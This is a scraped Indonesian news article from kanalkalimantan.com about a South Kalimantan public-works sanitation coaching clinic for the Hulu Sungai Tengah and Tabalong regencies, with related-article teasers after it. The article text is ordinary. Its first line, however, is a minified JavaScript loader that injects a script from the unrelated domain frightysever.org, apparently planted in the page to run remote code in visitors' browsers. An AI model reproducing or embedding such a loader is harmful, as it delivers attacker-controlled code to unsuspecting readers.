(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan Selatan melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel mengadakan Coaching Clinic 3 Implementasi Strategi Sanitasi Kabupaten (SSK) di Banjarmasin.
Ini dilakukan guna mempercepat dan mendukung layanan sanitasi di Kabupaten Hulu Sungai Tengah dan Kabupaten Tabalong.
Coaching Clinic 3 Implementasi SSK langsung dihadiri jajaran Anggota Pokja PKP Provinsi, Pokja PKP Kabupaten Hulu Sungai Tengah dan Kabupaten Tabalong, yaitu Bappeda, Dinas PUPR, Dinas Lingkungan Hidup, Dinas Kesehatan, Dinas Pemberdayaan Masyarakat dan Desa, Kepala UPTD Instalasi Pengolahan Lumpur Tinja dan Kepala UPTD Tempat Pemprosesan Akhir (TPA).
Kepala Dinas PUPR Kalsel, Ir Ahmad Solhan ST, MT melalui Kabid Cipta Karya, Ryan Tirta Nugraha mengatakan kegiatan ini sebagai upaya menambah pengetahuan tentang pentingnya pengelolaan sanitasi dalam pembangunan yang berkelanjutan.
Kegiatan ini juga dimaksudkan guna memberikan penguatan kepada pokja untuk dapat melaksanakan langkah-langkah yang konkrit, dalam pendampingan implementasi strategi sanitasi Kabupaten Hulu Sungai Tengah dan Kabupaten Tabalong, yang pada tahun ini mendapatkan pendampingan implementasi dari Kementerian PUPR.
“Untuk itu, Pemerintah Pusat telah menetapkan target sanitasi melalui tujuan pembangunan berkelanjutan (TPB) 2030, RPJMN 2020-2024 yaitu 90 persen layak dan 15 persen aman dan setop buang air besar sembarangan (BABS),” kata Ryan, Rabu (20/9/2023).
Menurut dia, untuk memenuhi target tersebut, keberadaan pokja dinilai sangat strategis dan menjadi wadah penguatan koordinasi, advokasi dan advisory antarstakeholder.
Oleh karena itu, lanjut dia, diperlukan penguatan pokja dalam mengawal pembangunan dan melaksanakan sinergitas pokja PKP dalam implementasi SSK.
“Kegiatan ini dinilai cukup strategis, mengingat masih ada waktu untuk melaksanakan percepatan pencapaian target sesuai dengan RPJMN 2020-2024 untuk sektor sanitasi, sehingga dapat menjadi langkah dalam merumuskan strategi implementasi yang diperlukan,” ujar dia.
Berdasar hal tersebut diharapkan, Kabupaten Hulu Sungai Tengah dan Kabupaten Tabalong dapat melaksanakan proses ke-2 (milestone 2), yaitu penetapan kebijakan dan pemodelan layanan sanitasi.
“Diharapkan dua kabupaten ini dapat dukungan komitmen dari bupati dan perangkat daerah terkait terhadap kebijakan pembangunan sanitasi dan penyehatan lingkungan nantinya,” pungkas dia. (kanalkalimantan.com/MCKalsel/kk)
Editor: Dhani
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.